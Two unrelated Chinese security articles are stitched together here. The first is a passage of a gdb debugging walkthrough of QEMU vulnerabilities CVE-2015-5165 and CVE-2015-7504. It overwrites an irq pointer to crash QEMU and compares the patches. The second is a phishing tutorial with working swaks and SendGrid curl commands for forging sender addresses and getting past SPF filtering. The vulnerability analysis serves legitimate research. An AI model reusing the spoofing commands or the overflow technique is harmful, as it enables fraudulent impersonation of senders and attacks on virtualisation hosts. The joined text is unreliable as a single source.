Legend: code, data, rodata, value
0x000055b25db586c22231 int tcp_data_len = ip_data_len - tcp_hlen;
gdb-peda$ si
[----------------------------------registers-----------------------------------]
RAX: 0xffeb //相减后tcp_data_len长度是0xffeb
[-------------------------------------code-------------------------------------]
0x55b25db586c2 <rtl8139_cplus_transmit_one+2432>:
sub eax,DWORD PTR [rbp-0x10c]
=> 0x55b25db586c8 <rtl8139_cplus_transmit_one+2438>:
mov DWORD PTR [rbp-0x108],eax
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055b25db586c82231 int tcp_data_len = ip_data_len - tcp_hlen;
//计算chunk_size = 0x5b4
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
RAX: 0x5b4
[-------------------------------------code-------------------------------------]
0x55b25db586ce <rtl8139_cplus_transmit_one+2444>:mov eax,0x5dc
0x55b25db586d3 <rtl8139_cplus_transmit_one+2449>:
sub eax,DWORD PTR [rbp-0x13c]//ETH_MTU-hlen
0x55b25db586d9 <rtl8139_cplus_transmit_one+2455>:
sub eax,DWORD PTR [rbp-0x10c]//-tcp_hlen
=> 0x55b25db586df <rtl8139_cplus_transmit_one+2461>:
mov DWORD PTR [rbp-0x104],eax
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055b25db586df2232 int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;
随后rtl8139_cplus_transmit_one函数会进入一个for循环处理，这个for循环会计算每一个chunk_size是达到整个tcp_data_len的末尾，如果没有则处理整个chunk_size并发送。
int tcp_data_len = ip_data_len - tcp_hlen;//tcp_data_len = 0xffff-0x14=0xffeb
int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;//chunk_size = 0x5b4
for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len; tcp_send_offset += tcp_chunk_size)//0xffeb/0x5b4 = 43
{
uint16_t chunk_size = tcp_chunk_size;//0x5b4
/* check if this is the last frame */
if (tcp_send_offset + tcp_chunk_size >= tcp_data_len)//if packet length > tcp data length
{
is_last_frame = 1;
chunk_size = tcp_data_len - tcp_send_offset;
}
DPRINTF("+++ C+ mode TSO TCP seqno %08xn",
be32_to_cpu(p_tcp_hdr->th_seq));
/* add 4 TCP pseudoheader fields */
/* copy IP source and destination fields */
memcpy(data_to_checksum, saved_ip_header + 12, 8);
DPRINTF("+++ C+ mode TSO calculating TCP checksum for "
"packet with %d bytes datan", tcp_hlen +
chunk_size);
if (tcp_send_offset)
{
memcpy((uint8_t*)p_tcp_hdr + tcp_hlen, (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size);//disclouse key!!!p_tcp_hdr = ip_header p_tcp_hdr+tcp_hlen = data section
//
}
/* keep PUSH and FIN flags only for the last frame */
if (!is_last_frame)
{
TCP_HEADER_CLEAR_FLAGS(p_tcp_hdr, TCP_FLAG_PUSH|TCP_FLAG_FIN);
}
/* recalculate TCP checksum */
ip_pseudo_header *p_tcpip_hdr = (ip_pseudo_header *)data_to_checksum;
p_tcpip_hdr->zeros = 0;
p_tcpip_hdr->ip_proto = IP_PROTO_TCP;
p_tcpip_hdr->ip_payload = cpu_to_be16(tcp_hlen + chunk_size);
p_tcp_hdr->th_sum = 0;
int tcp_checksum = ip_checksum(data_to_checksum, tcp_hlen + chunk_size + 12);
DPRINTF("+++ C+ mode TSO TCP checksum %04xn",
tcp_checksum);
p_tcp_hdr->th_sum = tcp_checksum;
/* restore IP header */
memcpy(eth_payload_data, saved_ip_header, hlen);
/* set IP data length and recalculate IP checksum */
ip->ip_len = cpu_to_be16(hlen + tcp_hlen + chunk_size);
/* increment IP id for subsequent frames */
ip->ip_id = cpu_to_be16(tcp_send_offset/tcp_chunk_size + be16_to_cpu(ip->ip_id));
ip->ip_sum = 0;
ip->ip_sum = ip_checksum(eth_payload_data, hlen);
DPRINTF("+++ C+ mode TSO IP header len=%d "
"checksum=%04xn", hlen, ip->ip_sum);
int tso_send_size = ETH_HLEN + hlen + tcp_hlen + chunk_size;
DPRINTF("+++ C+ mode TSO transferring packet size "
"%dn", tso_send_size);
rtl8139_transfer_frame(s, saved_buffer, tso_send_size,
0, (uint8_t *) dot1q_buffer);
/* add transferred count to TCP sequence number */
p_tcp_hdr->th_seq = cpu_to_be32(chunk_size + be32_to_cpu(p_tcp_hdr->th_seq));
++send_count;
}
在for循环中，会有一处if语句判断tcp_send_offset是否为0，当tcp_send_offset不为0时，会执行memcpy操作，拷贝目标缓冲区进入待发送的tcp_buffer中，这个memcpy拷贝的就是buffer，而每轮都会拷贝一个chunk_size，之后再加一个chunk_size，这样就会超过原本buffer的大小，而考到缓冲区外的空间，造成内存泄露。首先来看memcpy第一回合。
gdb-peda$ si
[----------------------------------registers-----------------------------------]
RDX: 0x5b4 //size
RSI: 0x7f49f003adfa --> 0x9000000000000000//src
RDI: 0x7f49f003a846 --> 0x0 //dst
[-------------------------------------code-------------------------------------]
0x55b25db5880e <rtl8139_cplus_transmit_one+2764>:add rcx,rdx
0x55b25db58811 <rtl8139_cplus_transmit_one+2767>:mov rdx,rax
0x55b25db58814 <rtl8139_cplus_transmit_one+2770>:mov rdi,rcx
=> 0x55b25db58817 <rtl8139_cplus_transmit_one+2773>:call 0x55b25d9361a8//memcpy
Guessed arguments:
arg[0]: 0x7f49f003a846 --> 0x0
arg[1]: 0x7f49f003adfa --> 0x9000000000000000
arg[2]: 0x5b4
arg[3]: 0x7f49f003a846 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Thread 3 "qemu-system-x86" hit Breakpoint 4, 0x000055b25db58817 in rtl8139_cplus_transmit_one (s=0x55b26083d430)
at /home/sh1/Desktop/qemu/hw/net/rtl8139.c:2267
2267 memcpy((uint8_t*)p_tcp_hdr + tcp_hlen, (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size);
gdb-peda$ x/50x 0x7f49f003adfa//src
0x7f49f003adfa:0x90000000000000000x100000007f49e7c7
0x7f49f003ae0a:0xc0000000000000000x100000007f49e456
0x7f49f003ae1a:0x80000000000000000x100000007f49ef8b
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
RAX: 0x7f49f003a846 --> 0x9000000000000000
[-------------------------------------code-------------------------------------]
0x55b25db58811 <rtl8139_cplus_transmit_one+2767>:mov rdx,rax
0x55b25db58814 <rtl8139_cplus_transmit_one+2770>:mov rdi,rcx
0x55b25db58817 <rtl8139_cplus_transmit_one+2773>:call 0x55b25d9361a8
=> 0x55b25db5881c <rtl8139_cplus_transmit_one+2778>:
cmp DWORD PTR [rbp-0x130],0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
2271 if (!is_last_frame)
gdb-peda$ x/50x 0x7f49f003a846//target dst
0x7f49f003a846:0x90000000000000000x100000007f49e7c7
0x7f49f003a856:0xc0000000000000000x100000007f49e456
0x7f49f003a866:0x80000000000000000x100000007f49ef8b
//memcpy(0x7f49f003a846,0x7f49f003adfa,lenth)
这里注意一下目前我们拷贝的缓冲区起始地址是：0x7f49f003adfa，拷贝到目标缓冲区后，单步跟踪，会发现for循环中会调用rtl8139_tansfer_frame函数将saved_buffer送回缓冲区。而saved_buffer的内容就包含了我们拷贝的内容。
gdb-peda$ si
[----------------------------------registers-----------------------------------]
RAX: 0x55b26083d430 --> 0x55b25f178400 --> 0x55b25f15eda0 --> 0x55b25f15ef20 --> 0x393331386c7472 ('rtl8139')
RBX: 0x1
RCX: 0x0
RDX: 0x5ea
RSI: 0x7f49f003a810 --> 0x5452563412005452
RDI: 0x55b26083d430 --> 0x55b25f178400 --> 0x55b25f15eda0 --> 0x55b25f15ef20 --> 0x393331386c7472 ('rtl8139')
[-------------------------------------code-------------------------------------]
0x55b25db58a3a <rtl8139_cplus_transmit_one+3320>:mov r8,rcx
0x55b25db58a3d <rtl8139_cplus_transmit_one+3323>:mov ecx,0x0
0x55b25db58a42 <rtl8139_cplus_transmit_one+3328>:mov rdi,rax
=> 0x55b25db58a45 <rtl8139_cplus_transmit_one+3331>:
call 0x55b25db5776d <rtl8139_transfer_frame>
Guessed arguments:
arg[0]: 0x55b26083d430 --> 0x55b25f178400 --> 0x55b25f15eda0 --> 0x55b25f15ef20 --> 0x393331386c7472 ('rtl8139')
arg[1]: 0x7f49f003a810 --> 0x5452563412005452
arg[2]: 0x5ea
arg[3]: 0x0
arg[4]: 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055b25db58a452307 rtl8139_transfer_frame(s, saved_buffer, tso_send_size,
gdb-peda$ x/50x 0x7f49f003a810//save_buffer
0x7f49f003a810:0x54525634120054520x0045000856341200
0x7f49f003a820:0x06400040aededc050xa8c0010108c0b9d3
0x7f49f003a830:0xfecaefbeadde02010x1050bebafeca72c0
0x7f49f003a840:0x00000000f015adde0xe7c7900000000000
0x7f49f003a850:0x0000100000007f490xe456c00000000000
0x7f49f003a860:0x0000100000007f490xef8b800000000000
0x7f49f003a870:0x0000100000007f490xe43ce00000000000
0x7f49f003a880:0x0000100000007f490xe369c00000000000
随后我们第二轮再次命中memcpy函数，注意一下源缓冲区的值。
gdb-peda$ si
[----------------------------------registers-----------------------------------]
RAX: 0x5b4
RBX: 0x5b4
RCX: 0x7f49f003a846 --> 0x9000000000000000
RDX: 0x5b4
RSI: 0x7f49f003b3ae --> 0x7f49cc0de0000000
RDI: 0x7f49f003a846 --> 0x9000000000000000
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55b25db5880e <rtl8139_cplus_transmit_one+2764>:add rcx,rdx
0x55b25db58811 <rtl8139_cplus_transmit_one+2767>:mov rdx,rax
0x55b25db58814 <rtl8139_cplus_transmit_one+2770>:mov rdi,rcx
=> 0x55b25db58817 <rtl8139_cplus_transmit_one+2773>:call 0x55b25d9361a8//memcpy
Guessed arguments:
arg[0]: 0x7f49f003a846 --> 0x9000000000000000
arg[1]: 0x7f49f003b3ae --> 0x7f49cc0de0000000
arg[2]: 0x5b4
arg[3]: 0x7f49f003a846 --> 0x9000000000000000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Thread 3 "qemu-system-x86" hit Breakpoint 4, 0x000055b25db58817 in rtl8139_cplus_transmit_one (s=0x55b26083d430)
at /home/sh1/Desktop/qemu/hw/net/rtl8139.c:2267
2267 memcpy((uint8_t*)p_tcp_hdr + tcp_hlen, (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size);
这一次是 0x7f49f003b3ae – 0x7f49f003adfa = 0x5b4
确实是一个chunk的大小，如此一来，每一轮memcpy都会加上一个chunk_size，当超出了buffer，就造成了信息泄露，可以拷贝当前buffer之外的内容。而我们只需要从Rx
Buffer中读取，这样就会造成信息泄露了。
**0x03 CVE-2015-7504漏洞分析**
CVE-2015-7504是一个堆溢出漏洞，这个漏洞形成的原因涉及到一个PCNetState_st结构体，这个结构体中有一个buffer变量长度大小定义为4096，然而在PCNET网卡的pcnet_receive函数中处理buffer时会在结尾增加一个4字节的CRC校验，这时当我们对传入buffer长度控制为4096的话，4字节的CRC校验会覆盖超出4096长度的4字节位置，而这4字节正好是PCNetState_st结构体中的一个irq关键结构，进一步我们可以利用irq结构控制rip，漏洞文件在/path/to/qemu/hw/net/pcnet.c。
接下来我们在pcnet_receive函数入口下断点，函数入口处会传入PCNetState_st结构体对象，这里我筛选部分跟此漏洞有关的结构体变量。
gdb-peda$ p *(struct PCNetState_st*)0x55b25f34a1a0
$1 = {
……
buffer = "RT002264VRT002264Vb", '00',
irq = 0x55b2603bc910,
……
looptest = 0x1
}
随后单步跟踪，这里首先会获取s->buffer的值。
//store s->buffer to src
[----------------------------------registers-----------------------------------]
RAX: 0x55b25f34a1a0 --> 0x55b2603bca00 --> 0x55b2603bca20 --> 0x55b25e13d940 --> 0x1
[-------------------------------------code-------------------------------------]
0x55b25db4e537 <pcnet_receive+952>:mov WORD PTR [rax+0x212c],dx
0x55b25db4e53e <pcnet_receive+959>:
jmp 0x55b25db4effb <pcnet_receive+3708>
0x55b25db4e543 <pcnet_receive+964>:mov rax,QWORD PTR [rbp-0xa8]
=> 0x55b25db4e54a <pcnet_receive+971>:add rax,0x2290//offset
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055b25db4e54a1062 uint8_t *src = s->buffer;
随后会到达一处if语句判断，这里会判断looptest的值，当此值为非0值时，会进入else语句处理。
//looptest
[----------------------------------registers-----------------------------------]
RAX: 0x1 //s->looptest
[-------------------------------------code-------------------------------------]
0x55b25db4e587 <pcnet_receive+1032>:mov DWORD PTR [rbp-0xd8],0x0
0x55b25db4e591 <pcnet_receive+1042>:mov rax,QWORD PTR [rbp-0xa8]
0x55b25db4e598 <pcnet_receive+1049>:mov eax,DWORD PTR [rax+0x32b4]
=> 0x55b25db4e59e <pcnet_receive+1055>:test eax,eax
0x55b25db4e5a0 <pcnet_receive+1057>:
jne 0x55b25db4e635 <pcnet_receive+1206>
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055b25db4e59e1067 if (!s->looptest) {
//s->looptest = PCNET_LOOPTEST_CRC
[----------------------------------registers-----------------------------------]
RAX: 0x1 [-------------------------------------code-------------------------------------]
=> 0x55b25db4e645 <pcnet_receive+1222>:
je 0x55b25db4e66c <pcnet_receive+1261>
0x55b25db4e647 <pcnet_receive+1224>:mov rax,QWORD PTR [rbp-0xa8]
0x55b25db4e64e <pcnet_receive+1231>:movzx eax,WORD PTR [rax+0x206a]
0x55b25db4e655 <pcnet_receive+1238>:movzx eax,ax
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055b25db4e6451075 } else if (s->looptest == PCNET_LOOPTEST_CRC ||
随后会进入else语句处理，在else语句处理中会有一处while循环进行CRC校验。
else if (s->looptest == PCNET_LOOPTEST_CRC ||
!CSR_DXMTFCS(s) || size < MIN_BUF_SIZE+4) {
uint32_t fcs = ~0;
uint8_t *p = src;
while (p != &src[size])
CRC(fcs, *p++);
*(uint32_t *)p = htonl(fcs);
size += 4;
}
这处循环CRC校验会处理4096大小的数据。
[----------------------------------registers-----------------------------------]
RAX: 0x55b25f34c430 --> 0x5452563412005452 //buffer
RBX: 0x1000//大小
[-------------------------------------code-------------------------------------]
0x55b25db4e66c <pcnet_receive+1261>:mov DWORD PTR [rbp-0xd4],0xffffffff
0x55b25db4e676 <pcnet_receive+1271>:mov rax,QWORD PTR [rbp-0x98]
0x55b25db4e67d <pcnet_receive+1278>:mov QWORD PTR [rbp-0xb8],rax
=> 0x55b25db4e684 <pcnet_receive+1285>:
jmp 0x55b25db4e6ce <pcnet_receive+1359>
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Thread 3 "qemu-system-x86" hit Breakpoint 10, pcnet_receive (
nc=0x55b2603bca20, buf=0x55b25f34c430 "RT", size_=0x1000)
at /home/sh1/Desktop/qemu/hw/net/pcnet.c:1080
1080 while (p != &src[size])
每一轮循环p都会自加1，循环结束后p会到0x1000的位置，随后会进行一处赋值，赋值的内容是htonl(fcs)，长度是4字节，而这4字节的内容会超过s->buffer的大小，可以回头看一下之前我发的关于PCNetState_st结构体的值，在s->buffer之后跟的是irq结构。
根据之前我们跟踪对*src = s->buffer的汇编代码，我们可以看到buffer的偏移是0x2290，而buffer的长度是0x1000，buffer
的下一个变量是irq结构，buffer是0x2290 + 0x1000 = 0x3290 + 0x55b25f34a1a0 = 0x55b25f34d430
gdb-peda$ x/10x 0x55B25F34D400
0x55b25f34d400:0x00000000000000000x0000000000000000
0x55b25f34d410:0x00000000000000000x0000000000000000
0x55b25f34d420:0x00000000000000000xfe7193d400000000
0x55b25f34d430:0x000055b2603bc910
可以看到0x55b25f34d430位置存放的正是irq的指针（结合我之前发的结构体中irq变量的值），接下来我们来看p=htonl(fcs)赋值操作。这里fcs是可控的，我们把它的值设置为0xdeadbeef，因为是PoC仅用于验证，而真实利用，请参考phrack文中的利用方法。
[----------------------------------registers-----------------------------------]
RAX: 0xdeadbeef //eax的值是deadbeef
RBX: 0x1000
[-------------------------------------code-------------------------------------]
0x55b25db4e6f2 <pcnet_receive+1395>:call 0x55b25d936078
=> 0x55b25db4e6f7 <pcnet_receive+1400>:mov edx,eax
0x55b25db4e6f9 <pcnet_receive+1402>:mov rax,QWORD PTR [rbp-0xb8]
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055b25db4e6f71082 *(uint32_t *)p = htonl(fcs);
[----------------------------------registers-----------------------------------]
RAX: 0x55b25f34d430 --> 0x55b2603bc910 --> 0x55b25f18a3f0 --> 0x55b25f1564a0 --> 0x55b25f156620 --> 0x717269 ('irq')//目标地址
RDX: 0xdeadbeef //拷贝内容
[-------------------------------------code-------------------------------------]
=> 0x55b25db4e700 <pcnet_receive+1409>:mov DWORD PTR [rax],edx
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055b25db4e7001082 *(uint32_t *)p = htonl(fcs);
gdb-peda$ x/10x 0x55b25f34d430//拷贝前
0x55b25f34d430:0x000055b2603bc9100x000055b25db4be11
0x55b25f34d440:0x000055b25db4bdd90x000055b25f349920
0x55b25f34d450:0x00000001000000010x000055b25f182850
0x55b25f34d460:0x00000000000000000x000055b25ff0d760
0x55b25f34d470:0x000055b2603bc7300x0000000000000001
gdb-peda$ si//拷贝后
[----------------------------------registers-----------------------------------]
RAX: 0x55b25f34d430 --> 0x55b2deadbeef
RDX: 0xdeadbeef [-------------------------------------code-------------------------------------]
0x55b25db4e700 <pcnet_receive+1409>:mov DWORD PTR [rax],edx
=> 0x55b25db4e702 <pcnet_receive+1411>:add DWORD PTR [rbp-0xe4],0x4
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
1083 size += 4;
gdb-peda$ x/10x 0x55b25f34d430//拷贝结束后deadbeef覆盖了irq结构
0x55b25f34d430:0x000055b2deadbeef0x000055b25db4be11
当我们覆盖irq结构后，在pcnet_receive函数结束时更新irq结构，调用关系是pcnet_receive()->pcnet_update_irq()->qemu_set_irq()
RDI: 0x55b2deadbeef
0x55b25db4d31d <pcnet_update_irq+497>:mov esi,edx
0x55b25db4d31f <pcnet_update_irq+499>:mov rdi,rax
=> 0x55b25db4d322 <pcnet_update_irq+502>:
call 0x55b25daf6c86 <qemu_set_irq>
这时，irq的值已经被覆盖了，我们跟入qemu_set_irq，这个函数在/path/to/qemu/hw/core/irq.c中。
gdb-peda$ disas qemu_set_irq
Dump of assembler code for function qemu_set_irq:
0x000055b25daf6c86 <+0>:push rbp
0x000055b25daf6c87 <+1>:mov rbp,rsp
0x000055b25daf6c8a <+4>:sub rsp,0x10
0x000055b25daf6c8e <+8>:mov QWORD PTR [rbp-0x8],rdi
0x000055b25daf6c92 <+12>:mov DWORD PTR [rbp-0xc],esi
0x000055b25daf6c95 <+15>:cmp QWORD PTR [rbp-0x8],0x0
0x000055b25daf6c9a <+20>:je 0x55b25daf6cbd <qemu_set_irq+55>
=> 0x000055b25daf6c9c <+22>:mov rax,QWORD PTR [rbp-0x8]
0x000055b25daf6ca0 <+26>:mov rax,QWORD PTR [rax+0x30]
0x000055b25daf6ca4 <+30>:mov rdx,QWORD PTR [rbp-0x8]
0x000055b25daf6ca8 <+34>:mov esi,DWORD PTR [rdx+0x40]
0x000055b25daf6cab <+37>:mov rdx,QWORD PTR [rbp-0x8]
0x000055b25daf6caf <+41>:mov rcx,QWORD PTR [rdx+0x38]
0x000055b25daf6cb3 <+45>:mov edx,DWORD PTR [rbp-0xc]
0x000055b25daf6cb6 <+48>:mov rdi,rcx
0x000055b25daf6cb9 <+51>:call rax
0x000055b25daf6cbb <+53>:jmp 0x55b25daf6cbe <qemu_set_irq+56>
0x000055b25daf6cbd <+55>:nop
0x000055b25daf6cbe <+56>:leave
0x000055b25daf6cbf <+57>:ret
End of assembler dump.
这里rax会作为s->irq被引用，+0x30位置存放的是handler，这个值会作为一个函数被引用，可以看上面汇编call
rax，这也正是我们可以通过构造fake
irq结构体来控制rip的方法，而这里由于0xdeadbeef的覆盖，引用的是无效地址，从而引发了异常，导致qemu崩溃。
gdb-peda$ x/10x 0x55b2deadbeef
0x55b2deadbeef:Cannot access memory at address 0x55b2deadbeef
gdb-peda$ si
Thread 3 "qemu-system-x86" received signal SIGSEGV, Segmentation fault.
**0x04 补丁对比**
QEMU针对这两个CVE漏洞进行了修补，首先是CVE-2015-5165的patch，在rtl8139_cplus_transmit_one函数中，在be16_to_cpu(ip->ip_len)-hlen之间做了一个判断，首先是单独执行be16_to_cpu()。
gdb-peda$ si
[----------------------------------registers-----------------------------------]
RDI: 0x1300 //ip->ip_len
[-------------------------------------code-------------------------------------]
0x5599f558bd83 <rtl8139_cplus_transmit_one+2020>:movzx eax,ax
0x5599f558bd86 <rtl8139_cplus_transmit_one+2023>:mov edi,eax
=> 0x5599f558bd88 <rtl8139_cplus_transmit_one+2025>:
call 0x5599f55881f7 <be16_to_cpu>
0x5599f558bd8d <rtl8139_cplus_transmit_one+2030>:
mov WORD PTR [rbp-0x14a],ax
0x5599f558bd94 <rtl8139_cplus_transmit_one+2037>:
movzx eax,WORD PTR [rbp-0x14a]
0x5599f558bd9b <rtl8139_cplus_transmit_one+2044>:
cmp eax,DWORD PTR [rbp-0x118]
0x5599f558bda1 <rtl8139_cplus_transmit_one+2050>:
jl 0x5599f558c5d5 <rtl8139_cplus_transmit_one+4150>
Guessed arguments:
arg[0]: 0x1300
Legend: code, data, rodata, value
0x00005599f558bd882126 ip_data_len = be16_to_cpu(ip->ip_len);
在be16_to_cpu之后，值仍然会变成0x13，但是不会直接和hlen相减，而是和hlen做了一个判断。
Legend: code, data, rodata, value
0x00005599f558bd9b2127 if (ip_data_len < hlen || ip_data_len > eth_payload_len) {
gdb-peda$ info register eax
eax 0x130x13
gdb-peda$ x 0x7f1f47693830-0x118
0x7f1f47693718:0x0000080000000014
如果小于，则会跳转到skip offload分支，直接将save_buffer交还缓冲区，并且增加计数，而不会进行后续处理。
gdb-peda$ si
[-------------------------------------code-------------------------------------]
0x5599f558c5d1 <rtl8139_cplus_transmit_one+4146>:nop
0x5599f558c5d2 <rtl8139_cplus_transmit_one+4147>:
jmp 0x5599f558c5d5 <rtl8139_cplus_transmit_one+4150>
0x5599f558c5d4 <rtl8139_cplus_transmit_one+4149>:nop
=> 0x5599f558c5d5 <rtl8139_cplus_transmit_one+4150>:
mov rax,QWORD PTR [rbp-0x158]
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
2330 ++s->tally_counters.TxOk;
skip_offload:
/* update tally counter */
++s->tally_counters.TxOk;
……
来看一下补丁前后的对比。
关于CVE-2015-7504的修补在那个位置的上面增加了一处判断。
这里对size的大小进行了判断，给4096字节的buffer留出了4字节存放fcs的值，这里有个比较有意思的事情，就是刚开始我以为这里修补了漏洞，但是我在这个函数下断点的时候，却意外的发现没有命中而是直接退出了。
所以好奇跟了一下，发现实际上真正封堵这个漏洞的是在外层调用pcnet_transmit函数中，在外层函数中会有另外一处判断。
gdb-peda$ p *(struct PCNetState_st*)0x55e53ecafc80
$2 = {
……
xmit_pos = 0x0,
……}
//关键判断
gdb-peda$ si
[----------------------------------registers-----------------------------------]
RAX: 0x1000 //bcnt
RDX: 0x0 //s->xmit_pos
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55e53c39cc26 <pcnet_transmit+704>:mov rax,QWORD PTR [rbp-0x58]
0x55e53c39cc2a <pcnet_transmit+708>:mov edx,DWORD PTR [rax+0x218c]
0x55e53c39cc30 <pcnet_transmit+714>:mov eax,DWORD PTR [rbp-0x3c]
=> 0x55e53c39cc33 <pcnet_transmit+717>:add eax,edx
0x55e53c39cc35 <pcnet_transmit+719>:cmp eax,0xffc
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055e53c39cc331250 if (s->xmit_pos + bcnt > sizeof(s->buffer) - 4) {
这里s->buffer的大小为4096，为它留出4字节的空间给CRC校验，也就是当我们长度设置为4096，这里xmit_pos为0，bcnt为4096，那么是不满足要求的，则在这里就进入异常处理。
[-------------------------------------code-------------------------------------]
0x55e53c39cc35 <pcnet_transmit+719>:cmp eax,0xffc
0x55e53c39cc3a <pcnet_transmit+724>:
jbe 0x55e53c39cc4f <pcnet_transmit+745>
0x55e53c39cc3c <pcnet_transmit+726>:mov rax,QWORD PTR [rbp-0x58]
=> 0x55e53c39cc40 <pcnet_transmit+730>:
mov DWORD PTR [rax+0x218c],0xffffffff
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055e53c39cc401251 s->xmit_pos = -1;
gdb-peda$ p *(struct PCNetState_st*)0x55e53ecafc80
$2 = {
……
xmit_pos = 0xffffffff,
……}
而在后面的代码逻辑中，最后传入漏洞函数的size大小，就是s->xmit_pos+bcnt，因此外层函数一定满足size<=4092的条件，似乎里面的修补显得没有那么必要了。因此我也不太明白为什么会修补了两处，但至少这样做，彻底将这里的Heap
Buffer Overflow修补了。
这样我们完成了对PoC的调试，关于利用在phrack上的描述已经非常详细，只需要按照调试PoC的思路构造可控结构体，就可以完成最后的利用了。
从虚拟机逃逸到宿主机获得宿主机权限的整个过程还是很有意思的，真的像从黑暗之门穿越到另一个世界，在内存中寻寻觅觅，最后一举突破的感觉非常棒。也希望自己未来能够挖到更多更强更高危的漏洞吧，请师傅们多多指正，感谢阅读！
**参考文章**
<http://www.phrack.org/papers/vm-escape-qemu-case-study.html>
<http://bbs.pediy.com/thread-217997.htm>
<http://bbs.pediy.com/thread-218045.htm>
<http://bbs.pediy.com/thread-217999.htm>
<http://www.freebuf.com/articles/87949.html> | 社区文章 |
# 前言：
在大型企业边界安全做的越来越好的情况下，不管是APT攻击还是红蓝对抗演练，钓鱼和水坑攻击被越来越多的应用。今天就先来说一下钓鱼这种传统而又有效的方式。
而想要进行一次成功的想要进行一次成功的钓鱼攻击，首先需要了解现在主流的邮件的安全措施。
# 邮件安全的三大协议
## SPF
SPF是 Sender Policy Framework 的缩写，一种以IP地址认证电子邮件发件人身份的技术。
接收邮件方会首先检查域名的SPF记录，来确定发件人的IP地址是否被包含在SPF记录里面，如果在，就认为是一封正确的邮件，否则会认为是一封伪造的邮件进行退回。例如：当邮件服务器收到自称发件人是[email protected]的邮件，那么到底它是不是真的gmail.com的邮件服务器发过来的呢，我们可以查询gmail.com的SPF记录，以此防止别人伪造你来发邮件。
[SPF详解](http://www.renfei.org/blog/introduction-to-spf.html)
## DKIM
DKIM让企业可以把加密签名插入到发送的电子邮件中，然后把该签名与域名关联起来。签名随电子邮件一起传送，而不管是沿着网络上的哪条路径传送， [1]
电子邮件收件人则可以使用签名来证实邮件确实来自该企业。可确保邮件内容不被偷窥或篡改。
## DMARC
DMARC（Domain-based Message Authentication, Reporting &
Conformance）是txt记录中的一种，是一种基于现有的SPF和DKIM协议的可扩展电子邮件认证协议，其核心思想是邮件的发送方通过特定方式（DNS）公开表明自己会用到的发件服务器（SPF）、并对发出的邮件内容进行签名(DKIM)，而邮件的接收方则检查收到的邮件是否来自发送方授权过的服务器并核对签名是否有效。对于未通过前述检查的邮件，接收方则按照发送方指定的策略进行处理，如直接投入垃圾箱或拒收。从而有效识别并拦截欺诈邮件和钓鱼邮件，保障用户个人信息安全。
# 查看SPF配置情况
要想查看一个域名是否配置了SPF，可以用nslookup或者dig查看：
nslookup -type=txt ***.com.cn
dig -t txt 163.com
未配置的是这样：
配置了的是这样
SPF可以配置为ip，也可以配置为域名
* * *
# 伪造邮件的发送
邮件为什么可以被伪造呢，最根本的原因就是SMTP协议不会验证发送者的身份，当邮件在两个不同的SMTP邮件服务器中被传输时，我们可以通过伪造来源欺骗接收者的SMTP服务器。
没有配置SPF，邮件服务器就不会去验证发件人，就可以直接进行伪造了。
## 没有spf的情况下
最简单的办法就是使用swaks之类的邮件伪造工具,kali中自带
swaks --to [email protected] --from [email protected] --ehlo XXX.com --body hello --header "Subject: hello"
--to <收件人邮箱>
--from <要显示的发件人邮箱>
--ehlo <伪造的邮件ehlo头>
--body <邮件正文>
--header <邮件头信息，subject为邮件标题>
也可以自己在vps上搭建邮件服务器
[EwoMail是基于Linux的企业邮箱服务器：https://github.com/gyxuehu/EwoMail](https://github.com/gyxuehu/EwoMail)
或者使用第三方的邮件服务器。
[邮件伪造服务：http://tool.chacuo.net/mailanonymous](http://tool.chacuo.net/mailanonymous)
没有SPF，邮件网关就不会进行拦截，收到后直接看是完全无异样，但查看邮件源文件发现from的ip非域名对应ip，但对于普通用户来说欺骗性很强。
## 配置了SPF的情况
配置了SPF，按照上边这种方法发送的话，通常情况下就会被直接拦截或者进了垃圾箱
这种情况就需要用一些权威的邮件服务商去发送邮件了
如sendgrid，mailgun，这些权威邮件服务商，会被大部分邮件服务商加到白名单中，这样他们的邮件就不会进到垃圾箱
### SendGrid
30天试用，能免费发送40000封邮件
<https://sendgrid.com>
注册 SendGrid （需要验证域名所有权，但发信可以不使用这个域名），获得一个 API ，然后有多种方式发送邮件，最方便的是 Curl ：
curl --request POST \
--url https://api.sendgrid.com/v3/mail/send \
--header "Authorization: Bearer 你的 API" \
--header 'Content-Type: application/json' \
--data '{"personalizations": [{"to": [{"email": "发给谁"}]}],"from": {"email": "发件人（你想伪造成谁）"},"subject": "标题","content": [{"type": "text/plain", "value": "内容"}]}'
这种方式只需要你有一台服务器，在服务器里面运行这条命令即可发送伪造邮件。但是这种方式无法自定义发件人名字，直接在对方的邮件中显示马化腾。
我的方式是使用 WordPress 插件发送。这种方式要求你有一台装有 WordPress 的服务器，安装 SendGrid 插件即可。
在配置了spf的邮箱中也可收到
### mailgun
mailgun也类似，每个月可免费发送10000封邮件，可以添加1000个域名，每封邮件都有跟踪日志，简单明了的管理界面。：
<https://www.mailgun.com>
